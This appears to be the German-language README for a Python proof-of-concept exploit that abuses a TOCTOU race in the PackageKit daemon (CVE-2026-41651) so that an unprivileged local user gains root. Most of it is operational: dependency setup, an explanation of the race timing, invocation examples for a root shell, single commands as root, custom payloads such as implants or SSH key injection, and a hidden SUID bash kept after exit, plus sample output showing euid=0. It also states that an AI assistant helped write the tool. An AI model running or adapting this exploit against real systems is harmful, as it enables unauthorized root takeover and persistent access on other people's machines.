
Python-PoC des PackageKit-TOCTOU-Exploits zur lokalen Rechteausweitung. Jeder lokale unprivilegierte Benutzer kann ohne Authentifizierung beliebige Pakete als root installieren.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-41651 |
| Komponente | PackageKit-Daemon (packagekitd) |
| Betroffene Versionen | 1.0.2 – 1.3.4 |
| Behoben in | 1.3.5 |
| Auswirkung | Lokale Rechteausweitung → root |
Dieses Tool wird ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt.
Verwundbares Betriebssystem: Jede Linux-Distribution, auf der PackageKit >= 1.0.2 <= 1.3.4 ausgeführt wird.
PoC-Einschränkung: Der eingebaute Paket-Builder erzeugt nur
.deb-Dateien, daher benötigt das Skript einen Debian/Ubuntu-Host, um unverändert zu laufen. Auf RPM-basierten Systemen stellen Sie ein benutzerdefiniertes postinst-Payload über--payload-scriptbereit und stellen Sie sicher, dassdpkg/dpkg-devverfügbar ist, oder passen Sie den Builder an.
Python: 3.6+
Systempakete (Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
Hinweis zu Abhängigkeiten:
python3-dbusundpython3-gigehören nicht zur Python-Standardbibliothek, aber sie sind fast immer auf jedem System vorhanden, auf dem eine grafische Desktop-Umgebung (GNOME, KDE, XFCE, etc.) läuft, da diese Umgebungen direkt von ihnen abhängen. Bei einer Standard-Ubuntu-Desktop-Installation sind beide Bibliotheken ohne manuelle Installation verfügbar. Auf einem minimalen Server ohne GUI können sie fehlen; in diesem Fall erfordert der obigeapt installsudo, was dem LPE-Kontext widerspricht. In der Praxis verfügt jede Maschine, auf der PackageKit mit einer Desktop-Sitzung läuft, bereits über diese Abhängigkeiten.
gir1.2-glib-2.0stellt die GObject-Introspection-Typelib-Dateien für GLib bereit.python3-giist die Python-Bindungs-Engine, benötigt aber diese Typelib-Dateien, um mit GLib zu kommunizieren. Ohne dieses Paket schlägtfrom gi.repository import GLibfehl, selbst wennpython3-giinstalliert ist. Beide werden automatisch von jeder GNOME-basierten Desktop-Umgebung installiert.
Hinweis zum Versuch mit reiner Standardbibliothek: Eine frühere Version dieses PoCs versuchte, diese Abhängigkeiten vollständig zu entfernen, indem die D-Bus-Aufrufe durch
gdbus/dbus-sendSubprozesse ersetzt wurden und anschließend das D-Bus-Drahtprotokoll direkt über den Unix-Socket gesprochen wurde. Beide Ansätze scheiterten daran, die TOCTOU-Race zuverlässig auszulösen: Das Erzeugen externer Prozesse führt genug Latenz zwischen den beidenInstallFiles-Aufrufen ein, sodass PackageKit Schritt 1 verarbeitet, bevor Schritt 2 eintrifft, was die Race bricht. Diedbus-python-Bindung sendet beide Aufrufe fire-and-forget über denselben bereits geöffneten Socket ohne Fork-Overhead, was das Timing ermöglicht. Die Version mit reiner Standardbibliothek wurde aus diesem Grund zurückgesetzt.
PackageKit-Version überprüfen (ohne den PoC):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
Beispiele:
# Check if the target is vulnerable (no exploit)
python3 cve-2026-41651.py --check
# Full exploit → interactive root shell
python3 cve-2026-41651.py
# Run a single command as root
python3 cve-2026-41651.py --exec "id"
# Custom payload (implant, SSH key injection…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# Keep the SUID bash after exit, custom path
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# Scriptable / fast mode
python3 cve-2026-41651.py --timeout 60 --quiet
Erwartete Ausgabe:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
Basiert auf dem ursprünglichen C-PoC von Vozec. Dies ist eine Python-Neuimplementierung für Portabilität. Alle Anerkennung für die Exploit-Technik gebührt dem ursprünglichen Autor.
Die Python-Neuimplementierung wurde mit Unterstützung von Claude (Anthropic) entwickelt.
| Flag | Beschreibung |
|---|
--check | PackageKit-Version abfragen und Verwundbarkeit melden, dann beenden |
--exec CMD | Einen einzelnen Befehl als root ausführen, anstatt eine interaktive Shell zu öffnen |
--payload-script FILE | Ein benutzerdefiniertes postinst-Skript anstelle des eingebauten SUID-Bash-Droppers verwenden |
--suid-path PATH | Wo die SUID-Bash abgelegt werden soll (Standard: /tmp/.suid_bash) |
--no-cleanup | Die SUID-Bash nach Beenden der Shell behalten |
--timeout N | Sekunden, die auf die SUID-Bash gewartet wird (Standard: 120) |
--quiet | Fortschrittsausgabe unterdrücken (für Skripte) |